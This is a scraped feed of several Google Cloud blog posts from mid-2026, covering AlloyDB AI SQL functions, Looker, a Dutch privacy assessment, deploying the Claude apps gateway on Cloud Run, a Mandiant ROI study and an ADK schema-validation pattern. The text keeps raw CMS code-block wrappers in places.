code_block: <ListValue: [StructValue([('code', "SELECT\r\n log_id,\r\n raw_content,\r\n -- Use Gemini 3.0 to reason through the raw user feedback and extract structure\r\n ai.generate(\r\n model_id => 'gemini-3.1-pro-preview',\r\n prompt =>\r\n 'Analyze this raw customer feedback entry. Extract the country, service name, and a 1-sentence summary of the feedback. Return as JSON.'\r\n || raw_content) AS structured_feedback\r\nFROM raw_feedback_logs\r\nWHERE user_type <> 'internal';"), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7f843a7550a0>)])]>

Here is a sample result:

log_id	raw_content	structured_analysis
1001	2025-12-16 08:00:01 [ERROR] Service: OrderSvc \| DbConnectionTimeout: Failed to acquire connection from pool "primary-shard-04" after 5000ms.	{"errorCode": "DbConnectionTimeout", "serviceName": "OrderSvc", "rootCause": "The service failed to acquire a database connection from the primary shard pool within the 5000ms timeout limit."}
1002	2025-12-16 08:05:12 [WARN] Service: IdentityProvider \| 401 Unauthorized: Bearer token validation failed for user_id=9942. Signature mismatch.	{ "error_code": "401", "service_name": "IdentityProvider", "root_cause": "The bearer token validation failed due to a signature mismatch." }
1003	2025-12-16 08:12:45 [CRITICAL] Service: AnalyticsEngine \| OutOfMemoryError: Java heap space. Allocation of 1.2GB array failed. Heap usage 99%.	{ "error_code": "OutOfMemoryError", "service_name": "AnalyticsEngine", "root_cause": "The service exhausted available Java heap memory attempting to allocate a 1.2GB array." }
1004	2025-12-16 08:25:33 [ERROR] Service: WebFrontEnd \| 404 NotFound: Resource /api/v3/users/profile/settings not found. Upstream returned 404.	{ "error_code": "404", "service_name": "WebFrontEnd", "root_cause": "The requested API resource for user profile settings was not found by the upstream service." }
1005	2025-12-16 08:35:50 [WARN] Service: NotificationGateway \| GatewayTimeout: External provider "SendGrid" failed to respond within 30s. Retry scheduled.	{"error_code": "GatewayTimeout", "service_name": "NotificationGateway", "root_cause": "The external provider SendGrid failed to respond within the 30-second timeout limit."}

More functions to summarize and analyze sentiment

Our core AI functions —ai.generate, ai.rank, ai.if, and ai.forecast—are now Generally Available. To learn more about use cases for the first three, refer to this blog post. To explore the forecast function in action, check out this deep dive.

Building on this momentum, we have introduced three brand new functions: ai.summarize, ai.agg_summarize, and ai.analyze_sentiment.

ai.analyze_sentiment: Automatically classifies the emotional tone of text as positive, negative, or neutral.
ai.summarize: Condenses lengthy text into its most essential information while preserving the original tone and nuance.
ai.agg_summarize: An aggregate tool that processes multiple rows within a column to generate a single, unified summary for an entire group (e.g., via a GROUP BY clause).

Here’s an example of how to use ai.agg_summarize to consolidate a product reviews for products on a retail website:

code_block: <ListValue: [StructValue([('code', 'SELECT productname, ai.agg_summarize(review) as reviews_summary\r\nGROUP BY productname;'), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7f843a755a90>)])]>

Here is a sample result of summarized reviews for two gaming console products:

productname

reviews_summary

AlphaCore Console

Users praise the stunning 4K graphics, smooth 120Hz frame rates, and the highly ergonomic controller design.

However, several reviews express frustration over the loud cooling fan noise during extended gaming sessions.

Overall, it is considered a top-tier console despite minor thermal and noise complaints.

NeoCore Console

Customers love the exceptional battery life and vibrant OLED display for handheld gaming on the go.

A significant number of users noted that the UI can feel sluggish and the game library is currently limited.

It represents great value for casual gamers but power users may find the performance lacking.

The power of LLMs on your data: now significantly faster and cheaper

We now have achieved unprecedented performance and cost breakthroughs in AI function processing. Previously, running a foundation model call for every single row in a massive database introduced cost and latency constraints. We have shattered these barriers by introducing two breakthrough capabilities:

Smart Batching for AI Functions: This AI Function Acceleration capability provides intelligent batching of AI function calls for optimal performance and quality. This efficiency is achieved by deduplicating prompt overhead; the LLM's boilerplate instructions are transmitted once per batch rather than repeated across every individual row. A question you may have is - “Why not do this in my own application layer?”. That’s because, AlloyDB intelligently determines the right batch size for optimal results - if you underestimate the batch size, you won’t reap gains for cost and latency, and if you overestimate the batch size, the prompt to the LLM could get bloated and lead to hallucinations, or you could exceed the model's token limits. In addition to calculating the perfect batch size for every request, AlloyDB also handles retries automatically out of the box, ensuring your pipeline stays resilient. We did some testing internally and saw massive gains; for example, an up to 2,400x performance boost (processing 10,000 rows/sec) over traditional row-at-a-time LLM calls. This is currently available for the ai.if and ai.rank functions, with support for additional functions coming in the future.

Let’s look at an example of using Smart Batching / Acceleration with ai.if to solve this use case: Imagine a customer on a gadget retail site searching for a camera that can handle an underwater depth of '60 meters or deeper.' Traditional hybrid search will pull the closest semantic and full-text matches, but it misses the hard constraints of numerical data—meaning it might serve up a camera that works only at 20 meters depth. By using AlloyDB’s ai.if-based intelligent filtering, the database actually understands the nuance of depth and makes the query return products that meet or exceed that 60-meter depth criteria. Notice how, in the example below, you don’t need to specify the batch size - AlloyDB handles all the optimizations under the hood when using ai.if.

code_block: <ListValue: [StructValue([('code', "-- Smart Batching / AI Function Acceleration \r\nSET google_ml_integration.enable_ai_function_acceleration = on;\r\nSELECT productid, productname, category,description\r\nFROM products AS p\r\nWHERE\r\n ai.if(\r\n 'Evaluate if the product description indicates that the product is waterproof at depth 60m or deeper. Description:'\r\n || description);"), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7f843a755340>)])]>

Here is a sample result on a hypothetical gadgets site. Notice how the expanded descriptions of products really match the criteria of working at a depth of 60 meters:

Optimized AI Functions: For even greater efficiency, we’ve introduced an optimized mode, starting with ai.if. By deploying a small, proxy model that utilizes your embeddings and is trained on your specific LLM outputs, we can process decisions natively within the database. This drastically reduces the need to call the external LLM - and based on some of our internal tests, we saw staggering gains; for example, up to 100,000 rows processed per second (a 23,000x improvement) and costs slashed by 6,000x (down to 1/10th of a cent). For technical insights on this technique, including when it works best and when not, refer to this blog post. AlloyDB does the following when using optimized ai.if:

Trains a proxy model: AlloyDB trains a lightweight proxy model on a sample of your data. This happens in the background when you use the PREPARE statement with ai.if function to train the model for optimized queries.
Executes the query: When you use the EXECUTE statement, AlloyDB uses the trained proxy model to process the query locally.
Falls back to the LLM: If the accuracy of the model is low, or if AlloyDB can't find a model, AlloyDB automatically falls back to using the LLM.

Let’s look at the same example of searching for a camera that can handle an underwater depth of 60 meters or deeper using optimized ai.if. Here we train a proxy model using the PREPARE statement and then EXECUTE the statement thereafter.

code_block: <ListValue: [StructValue([('code', "-- Prepare the Optimized Function / Proxy Model\r\nPREPARE waterproof_camera_60m AS\r\nSELECT productid, productname, category, description\r\nFROM products AS p\r\nWHERE\r\n ai.if(\r\n 'Evaluate if the product description indicates that the product is waterproof at depth 60m or deeper. Description:'\r\n || description,\r\n description_embedding);\r\n\r\n-- Run the Proxy Model\r\nEXECUTE waterproof_camera_60m;"), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7f843a755760>)])]>

You see the same products that truly match the criteria of working at a depth of 60 meters - as shown in the screenshot above. Here’s a tabulated version for the first three products, so you can look at the descriptions more closely:

productname	description
Pulsetron Action Camera MZ314	Conquer your next adventure with this camera. Don't let the elements hold you back; dive up to 60 meters deep or withstand rugged trails with its shock-resistant, adventure-ready chassis. Every jump, every turn, every splash is rendered flawlessly smooth with advanced Horizon Lock stabilization, ensuring your footage tells the story with unparalleled fluidity.
Hyperbyte Action Camera LG688	Capture the world in breathtaking detail, even when the action is at its most intense. This camera packs a formidable 1-inch sensor into a remarkably tough, pocket-sized frame. Shoot stunning 5K video and crystal-clear 20MP stills that rival professional equipment. Dive deeper than ever before with robust waterproofing at 60 meters.
Alphasync Action Camera WW897	This formidable, compact camera shrugs off the elements, while the massive 1-inch sensor translates every breathtaking moment into stunning 5K video and crystal-clear 20MP stills. Conquer any environment – from the deepest dive to the highest peak – thanks to its 60 meter waterproofing and revolutionary Horizon Lock, ensuring your footage remains impossibly steady.

See it in action!

Watch how this all comes together in this demo video.

Getting started is easy

Ready to bring unprecedented speed and cost-efficiency to your AI workloads?

New to AlloyDB? Discover AlloyDB with a 30-day free trial.
AI functions quickstart: Enable a few quick prerequisites and start calling functions like ai.if, ai.generate, or ai.analyze_sentiment directly within your SQL queries. Check out these practical examples to begin.
Boost performance and optimize costs: To unlock the biggest performance and cost gains, follow our guide on optimized functions. This is available in preview for ai.if, and will be expanding to more functions soon. For technical insights on this technique, including when it works best and when not, refer to this blog post.
Scale your throughput: Use smart batching to accelerate AI functions (available in preview for ai.if and ai.rank) or array-based functions (generally available for all LLM-based AI functions) to handle bulk prompting smoothly.

Import 3D bar charts into Google Sheets

2026-07-01T17:37:58+00:00

3D bar chart imported into Google Sheets

Getting started

Admins: There is no admin control for this feature.
End users: Visit the Help Center to learn more about adding and editing a chart in Google Sheets.

Rollout pace

Rapid Release domains: Available now
Scheduled Release domains: Gradual rollout (up to 15 days for feature visibility) starting on July 13, 2026

Availability

Available to all Google Workspace customers and users with personal Google accounts

Resources

Google Docs Editors Help: Add & edit a chart or graph

Maps has an authentic new voice in New Zealand

2026-07-01T17:00:00+00:00

The image shows the new Maps New Zealand feature

Google named a Leader in 2026 Gartner® Magic Quadrant™ for Analytics and Business Intelligence Platforms for third year in a row

2026-07-01T16:00:00+00:00

For the third consecutive year, Google has been recognized as a Leader in the 2026 Gartner® Magic Quadrant™ for Analytics and Business Intelligence Platforms. This recognition comes on the heels of Google Cloud Next 2026, where we feel we showcased a fundamental evolution in how enterprises interact with data: the shift from a reactive system of intelligence to a proactive system of action. As organizations rapidly evolve to incorporate autonomous AI into daily operations, Looker and Google are redefining the modern stack by bridging the gap between data insights and automated business workflows. By anchoring this agentic transition in a foundation of enterprise-grade trust, Looker’s Agentic solution continues to serve global organizations, from fast-growing startups to large enterprises, by transforming raw data into trusted, actionable business value.

Our momentum in this agentic era relies on two core pillars: a universal semantic layer that establishes a foundation of truth, and Gemini’s deep reasoning capabilities that turn that truth into autonomous business action.

Download the complimentary 2026 Gartner Magic Quadrant for Analytics and Business Intelligence Platforms.

The universal semantic layer agents

At the core of the agentic transition is Looker’s semantic layer. In a world where hallucinated data and conflicting metrics can kill business, LookML is critical for customers such as YouTube, Telenor and Allo Fiber, deploying agents into production at scale and keeping them grounded in verified enterprise truth.

Key governance strengths include:

Unified analytics governance: Centralized, code-based semantic layer that guarantees metric consistency across the organization. Pairing this single source of truth with hierarchical permissions and a new certification framework controls content trust levels and enables proactive platform auditing.
Governed semantic layer for in-database analytic and graph modeling: Native integration with in-database analytic models, including BigQuery Graph and Snowflake semantic views, enables organizations to define, version-control, and manage complex relational and graph-based data relationships natively within LookML while maintaining a consistent semantic truth across external applications.
Enterprise lifecycle management: Native, git-based version control supports continuous integration testing and seamless multi-environment management before production deployment.
High concurrency architecture: Elastic resource allocation mitigates usage spikes, allowing teams to deliver scalable insights during heavy user demand.

Powered by Gemini’s reasoning capabilities

True agentic business intelligence requires deep cognitive reasoning. Looker’s purpose-built BI generative AI capabilities with Gemini 3 serve as Looker’s native AI fabric, unlocking two significant advantages across the enterprise:

For business users: It enables complex, multi-layered strategic analysis through advanced, natural-language abstract reasoning.
For developers: It embeds directly into the daily workflow to dramatically accelerate analytics engineering with reliable LookML auditing and automated code writing.

Leaping into the Agentic BI era with Looker and Gemini

Gemini is powering the reimagination of the Looker stack from agentic semantic modeling, data explorations, Dashboard Agents, to Conversational Analytics. At Google Cloud Next 2026, we showcased our latest Looker product innovations:

Looker everywhere: We are expanding Looker's footprint beyond traditional interfaces through headless BI architectures, highlighted by Looker’s Managed MCP offering. This capability brings our semantic intelligence directly to external platforms, as showcased by PayPal, which successfully scaled accurate conversational analytics to 3,000+ users via Claude Desktop and Looker MCP. Developers can also leverage the Conversational Analytics API to build, secure, and deploy custom, trusted data agents within any proprietary application or third-party agent platform.
Looker BI Agents: Our specialized conversational agents allow users to query complex data models across applications using plain natural language, while dashboard agents embed these interactive conversational experiences directly into existing dashboards. Fully integrated with Gemini Enterprise, these agents can be deployed straight into your corporate workspace workflows. Furthermore, across all environments, these agents enable users to orchestrate autonomous agentic workflows and monitor execution, helping ensure teams can interact with LookML-governed metrics and trigger automated actions right where they already cooperate.
AI-powered self service: We’ve completely reimagined Explore Mode, combining an intuitive drag-and-drop canvas with conversational analytics. Tools like the Visualization Assistant use natural language to design beautiful charts on the fly, while the Insight Assistant auto-generates narratives to surface key trends in seconds. This sits alongside now generally available (GA) paginated reporting and tabbed dashboards.
Vibe-coding with the LookML Agent: This specialized AI agent and new VS Code extension enable full-lifecycle LookML development, management, and deployment entirely outside of Looker in any VS Code-based IDE. The agent accelerates semantic modeling by translating natural language into LookML, generating models directly from existing BigQuery/AlloyDB datasets, and integrating easily with existing agentic skills. Allowing developers to develop and interact with Looker within a single interface delivers a highly cohesive and accelerated environment.
Universal semantic layer: With the new in-database analytics model support, LookML can support graph models and complex semantic ontologies with BigQuery Graph and Snowflake Semantic Views. LookML can flex to a broad set of governed use cases for data agents for industries like retail, supply chain, cybersecurity, with graph relationships alongside table-based models for scale-out BI agents.

By combining Looker's analytical governance with Google's Agentic Data Cloud, we help ensure your autonomous AI agents operate on verified enterprise metrics, not hallucinated guesswork. Whether you are deeply embedded in the Google Cloud ecosystem or leveraging Looker across a multi-cloud data architecture, Looker provides the openness, scale, and semantic grounding required to power the future of business.

Download the report: Read the full 2026 Gartner Magic Quadrant for ABI Platforms to explore the detailed vendor evaluations.
Explore agentic Looker: Read our full recap of Looker Updates for Agentic BI at Next '26.

_{Gartner Magic Quadrant for Analytics and Business Intelligence Platforms - Anirudh Ganeshan, Edgar Macari, Christopher Long, June 29, 2026}

_{GARTNER is a registered trademark and service mark of Gartner and Magic Quadrant is a registered trademark of Gartner, Inc. and/or its affiliates in the U.S. and internationally and are used herein with permission. All rights reserved.}

_{This graphic was published by Gartner, Inc. as part of a larger research document and should be evaluated in the context of the entire document. The Gartner document is available upon request from Google.}

Google Cloud confirmed to offer a safer choice for EU public sector organizations with Dutch DPIA approval

2026-07-01T16:00:00+00:00

At Google Cloud, we are committed to providing public sector organizations around the globe with cloud technology that is highly flexible, scalable, and built with market-leading standards for data protection, sovereignty, and security. We understand that for public sector organizations in the European Union, confidence in data protection is not just a preference — it’s a prerequisite.

Today, we’re excited to announce a major milestone that reinforces this commitment for Google Cloud.

Dutch government DPIA confirms strong privacy foundation for Google Cloud

We have successfully collaborated with SLM Rijk, the Dutch government's strategic vendor management agency, who completed their rigorous data protection impact assessment (DPIA) of Google Cloud.

This engagement confirms Google Cloud’s strong commitment to strengthening trust in its privacy posture across the Dutch public sector. Given that all the key points raised during the DPIA have been successfully addressed (see SLM Rijk’s summary here), and that their DPIA concluded that there are no known high data protection risks when the recommended measures are implemented, the Dutch central public sector is now officially enabled to use Google Cloud with a clear path from a privacy-assessment perspective.

Accordingly, we encourage Dutch central public sector prospects and customers to engage with us to learn more about Google Cloud.

More broadly, we believe this outcome provides a strong foundation for public sector organisations across the Netherlands and beyond, to confidently evaluate and adopt Google Cloud, unlocking modernization and digital transformation securely.

This achievement builds upon our strong track record in the region, including the successful completion of the Dutch DPIA on Google Workspace. This previous success affirmed the safe use of Workspace across the Dutch public sector and educational institutions. Together, these assessments demonstrate Google's continued commitment to helping public sector organisations meet their privacy, security, and compliance requirements while benefiting from the innovation and scalability of Google Cloud.

Continued support for all customers on their compliance journeys

We welcome independent assessments that help strengthen trust, transparency, and accountability. The Dutch government's DPIA process represents an important example of constructive collaboration between public institutions, independent experts, and cloud providers to advance privacy protections.

Google Cloud remains committed to helping customers meet their compliance obligations while providing secure, transparent, and privacy-conscious cloud services.

We will continue investing in privacy-enhancing technologies, transparency initiatives, and customer controls to support organisations across Europe and around the world.

We know first-hand that conducting DPIAs can be a complex task, and we remain firmly committed to helping our customers navigate DPIAs with resources at our comprehensive DPIA Cloud Resource Center.

Get started with the Claude apps gateway for Google Cloud

2026-07-01T16:00:00+00:00

Anthropic's agentic coding tool Claude Code has worked with Google Cloud for a while now. An individual developer could easily point CLAUDE_CODE_USE_VERTEX=1 at a Google Cloud (GCP) project, grant the role roles/aiplatform.user, and inference stays inside your Google Cloud perimeter.

That flow works great when it’s just you, or a handful of engineers. But rolling it out across an organization forces you to deal with enterprise friction: you have to manage per-developer cloud credentials, push a managed-settings.json to every laptop over MDM, and not be verified with zero per-developer usage attribution or easily enforceable spend caps.

The Claude apps gateway closes that gap. It is a self-hosted service, shipped with the same claude binary, that sits directly between your local Claude Code clients and Google Cloud. This post breaks down exactly why you should run it and what a secure deployment looks like on Google Cloud.

(Note: If you want to jump straight to the code, the full walkthrough lives in the Claude apps gateway on Google Cloud docs.)

Why run the gateway

Run the gateway to centralize the governance that developers and platform admins otherwise each carry alone such as identity, policy, cost, and routing. Here's what that looks like in practice.

Identity. The /login request routes through your identity provider (IdP ) - Google Workspace or any OIDC/OpenID Connect one - and the gateway swaps the token for a short-lived session. No sensitive information lands on the developer’s laptop — such as service-account keys, API keys, or ANTHROPIC_VERTEX_PROJECT_ID. Onboarding is as simple as adding a user to an IdP group; offboarding by removing them, and their next session refresh fails on the spot.

Policy. Your RBAC (role-based access control) rules live once in gateway.yaml, resolved per group and enforced server-side. The gateway re-checks availableModels on every /v1/messages call, so editing local managed-settings.json changes nothing — and rule updates reach the whole fleet within the hour.

Telemetry. Every claude_code.token.usage metric carries the verified email and groups from the session JWT (signed session token), not the spoofable client-set OTEL_RESOURCE_ATTRIBUTES. The gateway ships them over OTLP/HTTP to a collector you run — Cloud Monitoring, Grafana, Datadog, whatever you use.

Spend limits. Set daily, weekly, or monthly caps per user, group, or org via the admin API; the gateway meters tokens against a Cloud SQL ledger and returns a 429 at the cap. Costs are at list price, so treat them as a runaway-usage guardrail, not a bill reconciliation (committed-use discounts and negotiated rates don't show up).

Routing. Calls go out under a single Cloud Run service identity. Set region: global for Agent Platform's global endpoint, or add a second upstreams: entry to fail over on 5xx/429/timeout in list order. Either way, inference stays in your GCP project — quota, Data Processing Agreement, and billing all unchanged.

How it fits together

A developer's local or deployed claude process sends inference traffic to the gateway over HTTPS. The gateway is a stateless container on Cloud Run as shown below.

The gateway validates its own session bearer — Google Workspace is only contacted at sign-in and token refresh — checks policy, and forwards the request to Agent Platform using the Cloud Run service account. Cloud SQL holds device-code sign-in state and the spend ledger; an OTLP collector receives the attributed metrics.

Setting it up on Google Cloud

The full walkthrough, every gcloud command and the complete gateway.yaml reference, is in the Claude apps gateway on Google Cloud docs. The short version:

Step 1: Provision the GCP foundation
Enable the Agent Platform, Cloud SQL, and Secret Manager APIs; create a claude-gateway service account with roles/aiplatform.user; stand up a small Cloud SQL Postgres database instance for state. The gateway authenticates to Agent Platform as the Cloud Run service identity — you do not create a service-account key. Finally, create a new OAuth client (type Web application) in the Google Cloud console: in this example, the gateway authenticates developers against Google Workspace as an OIDC relying party, and this client is what issues it a client_id and client_secret for that handshake. Those two values feed the oidc: block in the next step. You'll later add the authorized redirect URI once the gateway URL is known.

Step 2: Configure the gateway
Write gateway.yaml pointing at your Google Workspace OIDC client, the Postgres connection string, and Agent Platform as the upstream. Store it in Secret Manager, along with the OIDC client secret, the Postgres URL, and a JWT signing key.

code_block: <ListValue: [StructValue([('code', 'listen:\r\n port: 8080\r\n public_url: https://<your-cloud-run-service-url> # the Cloud Run service URL — with --ingress=internal this resolves only inside your VPC / corporate network\r\noidc:\r\n issuer: https://accounts.google.com # Google Workspace\r\n client_id: <client-id>.apps.googleusercontent.com\r\n client_secret: ${OIDC_CLIENT_SECRET} # from Secret Manager\r\n allowed_email_domains: [yourco.com]\r\n\r\nupstreams:\r\n - provider: vertex\r\n region: us-east5\r\n project_id: <your-project>\r\n auth: {} # ADC via the Cloud Run SA, NO key file'), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7fe6b052d5b0>)])]>

Then register https://<public_url host>/oauth/callback as an authorized redirect URI on the Google OAuth client — it must match listen.public_url exactly:

Step 3: Deploy to Cloud Run
gcloud run deploy with the service account attached, the Cloud SQL connection on the VPC, and the config mounted from Secret Manager. The container is stateless and scales horizontally behind the Cloud Run load balancer. GKE works equally well if that's already your platform, and only the deployment manifest changes.

code_block: <ListValue: [StructValue([('code', 'gcloud run deploy claude-gateway \\\r\n --service-account="claude-gateway@${PROJECT_ID}.iam.gserviceaccount.com" \\\r\n --set-secrets=/etc/claude/gateway.yaml=gateway-config:latest \\\r\n --ingress=internal \\ # private — developers reach the gateway over the corporate network (VPN/Interconnect into the VPC)\r\n --no-invoker-iam-check # the gateway runs its OWN OIDC; clients carry no GCP token'), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7fe6b052d550>)])]>

Developers connect over the corporate network; you may front the service with an internal Application Load Balancer — see Cloud Run private networking.

Either public or internal, your developers must be able to access whatever URL you configure or you can rely on the default URL from Cloud Run. For the below example we will use https://claude-gateway.example.internal

Step 4: Onboard a developer
Push forceLoginMethod: "gateway" and forceLoginGatewayUrl to developer machines via managed settings. This is how /login knows where to connect, with no manual URL entry. For an org rollout, that's your MDM channel. For a first trial without MDM, the developer can write the file by hand at /Library/Application Support/ClaudeCode/managed-settings.json on macOS (or /etc/claude-code/managed-settings.json on Linux) if they have local admin permissions:

code_block: <ListValue: [StructValue([('code', '{\r\n "forceLoginMethod": "gateway",\r\n "forceLoginGatewayUrl": "https://claude-gateway.example.internal"\r\n}'), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7fe6b052d2b0>)])]>

At Claude Code startup, the developer then presses Enter on the pre-filled gateway sign-in screen to confirm the URL.Confirm the device code on the gateway's verification page in the browser, and get redirected to Google Workspace to sign in. After that, the developer completes the device-code flow in the browser against Google Workspace. If setup ends correctly, you will be able to see Cloud Gateway in the terminal view as shown below.

What's next

At this point you should have a better understanding of how to configure and use Claude apps gateway on Google Cloud. Here are some next steps you may want to consider:

Full config reference: every gateway.yaml field is in claude-apps-gateway-config. Per-IdP setup and the GKE track live in claude-apps-gateway-deploy and claude-apps-gateway-on-gcp.
Group-scoped policies: front the gateway with a groups-capable IdP, set groups_claim, and add match: { groups: [...] } policies above the catch-all to give different teams different model lists and tool permissions.

For now, thanks for reading! And if you have any additional questions or feedback, feel free to reach out on socials (Roy Arsan - Linkedin, X and Ivan Nardini - LinkedIn, X)

Happy building!

New IDC study: The business value of Mandiant Consulting

2026-07-01T16:00:00+00:00

Security leaders are now expected to protect business growth and clearly articulate security value to their board of directors, in addition to managing risk. While translating technical defense into measurable financial returns can be challenging, Mandiant Consulting can help you bridge the gap.

Organizations that engaged with Mandiant Consulting reported an average annual benefit of $4.3 million, driving a 268% three-year ROI, with a payback period of just 4.1 months, according to a new IDC Business Value White Paper commissioned by Mandiant. IDC based these findings on its standard ROI methodology and qualitative and quantitative interviews of current Mandiant customers, applying standard financial models. The interviewed organizations are large, highly-complex environments with an average of $17.3 billion in revenue and 74,000 employees.

At Google Cloud, we strongly believe that security is a strategic business enabler that can directly impact your bottom line.

One healthcare organization interviewed by IDC reported that its partnership with Mandiant completely changed the dynamic of its commercial conversations. "Mandiant has enabled us to engage more confidently with customers and position our security posture as a market differentiator, with security now consistently ranking among the top three reasons clients choose us. It has also contributed to reducing our insurance costs by $50,000 per year,” said the healthcare organization.

Frontline threat intelligence in action

CISOs consistently struggle with internal resource constraints and skill deficits, and internal security teams rarely have the time to track every emerging threat group. Mandiant addresses this by distilling findings and delivering frontline threat intelligence and guidance derived from over 500K hours of global incident investigations last year.

Instead of trying to monitor everything, resource-constrained teams can focus their limited hours on the specific threats that are most relevant to them and likely to target their specific industry and build specific targeted defenses. A retail organization highlighted how working with Mandiant experts allowed them to actively defend against targeted campaigns, like those from the Scattered Spider cybercrime group.

"One of the most significant accomplishments from using Mandiant has been their ability to help us create detection use cases specific to Scattered Spider based on their industry knowledge. This has enabled us to monitor, detect, and neutralize related attacks, which is a key reason we have avoided incidents,” the organization told IDC.

To ensure detections are built on solid foundations, many organizations also use Mandiant to run deep technical audits across their identity infrastructure — including Active Directory, privileged account management, and multi-factor authentication (MFA). This independent verification provides crucial reassurance to leadership, an energy-sector organization told IDC.

"Mandiant provides external assurance that our cyberprogram is thorough and validated from a risk management perspective. Their validation and recommendations have helped us reinforce that messaging to our board. They are highly professional, risk aligned, and among the most trusted,” they said.

Quantifying the business and operational impact

By synthesizing customer experiences, IDC quantified the broader operational advantages seen by customers who worked with Mandiant:

59% reported greater preparedness to successfully address cyberattacks.
45% reported overall improvement in cyber-resilience.
36% reported more efficient security analyst teams, allowing internal staff to focus on more strategic, growth-oriented initiatives.

To learn more about how security is a business enabler, register for our July customer webinar.

_{Source: IDC Business Value White Paper, Sponsored by Google, The Business Value of Mandiant Consulting (Doc #US54605426-BVWP, July 2026)}

New York City educators and industry leaders gathered at Google’s offices to shape the future of AI in classrooms.

2026-07-01T16:00:00+00:00

Google, the New York Jobs CEO Council and Urban Assembly hosted an AI summit for 150 education and industry leaders.

Beyond Static Prompts: Building Scale-Proof, Polymorphic Multi-Agent Systems with Google's ADK

2026-07-01T14:00:00+00:00

As enterprise generative AI transitions from simple, conversational chatbots to autonomous multi-agent workflows, developers face a critical bottleneck: scale.

In a production environment, an enterprise agent often needs to navigate hundreds of heterogeneous data structures, dynamic business rules, and shifting API schemas. The standard blueprint relies on "Static Prompting"—pre-loading all potential JSON schemas, Pydantic classes, or tool definitions directly into the agent’s system instructions.

However, as your task complexity grows, this architecture breaks down. It leads to context window bloat, soaring token costs, and a sharp degradation in accuracy known as Attention Diffusion—where the model mistakenly mixes fields from dormant schemas into active requests.

To solve this issue, we need to decouple an agent's reasoning capabilities from its structural data requirements. This post introduces an architecture for Context-Aware Polymorphic Schema Validation, a design pattern that leverages a centralized metadata registry to dynamically inject context and enforce strict schema validation at runtime by using Google's Agent Development Kit (ADK) and Gemini Flash.

The Pitfalls of Static Agent Architectures

When managing structured inputs and outputs in high-cardinality enterprise environments, traditional LLM orchestration frameworks introduce severe operational friction:

Context Window Bloat & Latency Cascades: Standard architectures require all potential data schemas to be pre-loaded into the agent's initial prompt instructions. This "Static Prompting" creates massive context bloat, which directly drives up token costs, induces unnecessary operational latency, and degrades the model's reasoning density by crowding the focus window with irrelevant metadata.
Attention Diffusion in High-Cardinality Spaces: Large language models struggle to cleanly isolate highly similar data structures when contained within a single large prompt. In complex environments, agents frequently experience attention diffusion, mistakenly populating fields or enforcing validation rules from an inactive schema into an active production payload.
Synchronous Maintenance and Code Debt: Traditional approaches treat the system prompt (inference) and the guardrail (validation) as two separate, disconnected code silos. Because these live in isolated codebases, any slight modification to a business requirement necessitates manual, parallel updates to both the prompt structure and the validator code, creating high operational friction.
Nondeterministic Multi-Agent Handoffs: Multi-agent systems frequently lack a deterministic verification check before routing state. Sub-agents are often invoked without an automated mechanism verifying that the shared session state actually meets their specific structural prerequisites, resulting in "silent failures" where agents initialize with malformed context and have no autonomous recovery mechanism.

The Architecture: Just-in-Time Polymorphic Orchestration

Instead of expecting the LLM to hold every business rule in memory, this architecture treats schemas as externalized, discoverable metadata assets. The system splits the execution lifecycle into two clean phases: Context Discovery and Dynamic Validation.

1. Centralized Metadata Registry

All schemas are externalized out of the code and the prompt, and they're stored within a central registry (such as Cloud Storage) as high-density Schema Descriptor JSONs. Each descriptor contains the following:

Field Definitions: Semantic names and natural language descriptions.
Mapping Rules: Declarative logic that details how informal user inputs translate to downstream system parameters.
Polymorphic Validation Hooks: References to specific programmatic validation rules (like regex constraints and range boundaries) that are bound directly to the field metadata.

2. The Dynamic Discovery & Validation Loop

Instead of starting with a massive, 20,000-token prompt, the agent initializes with a lightweight, 200-token Discovery Prompt utilizing Google's ADK. The following lifecycle sequence details the exact transaction loop as the system transitions from initial user discovery to metadata enforcement:

The transaction loop shifts smoothly across four lifecycle phases to process input text:

Phase 1: Context Discovery (Steps 1–3): The orchestration agent kicks off with a minimal system prompt. It engages in a brief fallback loop with the user solely to distill their core intent (like identifying that the user requires a "Service Agreement") without holding any heavy schema constraints yet.
Phase 2: Metadata Resolution (Steps 4–6): After the intent is crystallized, the agent executes an automated tool call (load_descriptor) to fetch the isolated schema rules out of the Central Metadata Registry (Cloud Storage). Then the agent instantly overwrites the active session memory state with this highly specific metadata.
Phase 3: Metadata-Driven Assembly (Steps 7–14): The system enters an active evaluation loop. The agent evaluates data gaps, asks for a precise field (e.g., "Effective Date"), and then it pushes the user's raw conversational input directly to a separate Polymorphic Validator–a validation tool that runs on Cloud Run.
- If validation fails: A deterministic error code loops directly back to the agent to trigger conversational self-correction.
- If validation passes: The field is safely committed into the session's master JSON payload.
Phase 4: Finalization (Steps 15–16): Only when the cumulative master payload matches the strict metadata criteria with 100% compliance does the orchestrator release the state. The release triggers the secure downstream enterprise API payloads or it executes a clean multi-agent handoff.

The Design Pattern in Practice: Declarative Schema Factory

Building this architecture on Google Cloud relies on a declarative configuration pattern, removing structural rules from your core prompt engineering layers entirely:

code_block: <ListValue: [StructValue([('code', '// Example: Centralized Schema Descriptor JSON\r\n{\r\n "domain": "travel_expense",\r\n "fields": {\r\n "amount": {\r\n "type": "float",\r\n "description": "Total transaction amount in local currency",\r\n "validation_hook": "check_positive_bounds"\r\n },\r\n "receipt_id": {\r\n "type": "string",\r\n "description": "Alphanumeric system ID found on the receipt image",\r\n "validation_hook": "regex_match_expense_v2"\r\n }\r\n }\r\n}'), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7fe6a3e24fa0>)])]>

Architectural Component Mapping

Multi-Agent Coordination (Google's ADK): Google's ADK manages the core multi-agent workflows, state transitions, and tool-calling infrastructure, which enables developers to programmatically intercept execution boundaries.
High-Density Inference Engine (Gemini 3 Flash): Gemini 3 Flash serves as the reasoning backbone. Its low latency, fast token processing speeds, and highly cost-effective execution costs make it the ideal model for running rapid, iterative context-switching loops without inflating token bills.
Externalized Storage Layer (Cloud Storage): Cloud Storage houses the library of JSON descriptors. The storage layer enables system administrators or business analysts to modify validation bounds or onboard completely new business domains instantly by uploading a file—requiring zero code deployment or application downtime.
